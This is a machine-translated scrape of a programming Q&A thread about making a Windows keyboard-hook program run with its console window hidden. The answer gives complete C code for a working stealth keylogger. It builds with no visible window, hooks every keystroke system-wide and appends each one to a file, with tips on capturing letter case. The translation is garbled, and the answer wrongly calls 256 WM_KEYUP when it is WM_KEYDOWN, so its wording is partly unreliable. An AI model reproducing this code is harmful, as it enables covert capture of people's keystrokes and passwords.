使控制台窗口隐形废墟程序

我挂钩的钥匙,写下来的文件,一切工作正常,但是当我把控制台窗口隐藏,我不能挂钩和打印到文件,如何摆脱这个问题? 当我删除ShowWindow()函数时,我可以钩键,否则我不是。 顺便说一下,我看到该进程仍然在任务pipe理器上运行。

看到我的示例代码在这里:

 KBDLLHOOKSTRUCT kbdSTRUCT; int APIENTRY WinMain(HINSTANCE hinstance, HINSTANCE hprevious, LPSTR cmdline, int cmdshow ) { HWND wnd; wnd = GetConsoleWindow(); ShowWindow(wnd, FALSE); HHOOK kbdHOOK; kbdHOOK = SetWindowsHookEx(WH_KEYBOARD_LL, kbdProc, NULL, 0); MSG msgg; while(GetMessage(&msgg, NULL, 0, 0) > 0){ TranslateMessage(&msgg); DispatchMessage(&msgg); } } LRESULT CALLBACK kbdProc(int nCode, WPARAM wPar, LPARAM lPar){ if(nCode >= 0){ if(wPar == 256){ kbdSTRUCT = *(KBDLLHOOKSTRUCT *)lPar; if(kbdSTRUCT.vkCode == 0x90){ //fprintf function here to write to a file return CallNextHookEx(NULL, nCode, wPar, lPar); } } } } 

非常感谢

Solutions Collecting From Web of "使控制台窗口隐形废墟程序"

当使用gcc时, -mwindows将设置Windows子系统,这样当入口点是WinMain时,不会出现控制台窗口

 gcc myfile.c -mwindows -o myfile.exe 

使用全局变量来存储SetWindowsHookEx结果并将其传递给kbdProc ,在CallNextHookEx

 #include <Windows.h> #include <stdio.h> HHOOK hhook = NULL; LRESULT CALLBACK kbdProc(int nCode, WPARAM wPar, LPARAM lPar) { if(nCode >= 0) { if(wPar == WM_KEYDOWN) { //or WM_KEYUP! KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*)lPar; int c = kb->vkCode; FILE *file = fopen("test", "a"); switch(c) { case VK_NUMLOCK: fprintf(file, "VK_NUMLOCK\n"); break; case VK_RETURN: fprintf(file, "\n"); break; default: fprintf(file, "%c", c); break; } fclose(file); } } return CallNextHookEx(hhook, nCode, wPar, lPar); } int APIENTRY WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show) { hhook = SetWindowsHookEx(WH_KEYBOARD_LL, kbdProc, NULL, 0); MSG msg; while(GetMessage(&msg, NULL, 0, 0) > 0) { TranslateMessage(&msg); DispatchMessage(&msg); } UnhookWindowsHookEx(hhook); return 0; } 

确保使用正确的窗口常量。 例如ShowWindow(wnd, SW_HIDE)而不是ShowWindow(wnd, FALSE)WM_KEYUP而不是256 。 否则,当你看第二天的时候,代码会太混乱。 其他人不会理解它。

VK_NUMLOCK之外,您还需要检查shift键以查找大写/小写字母…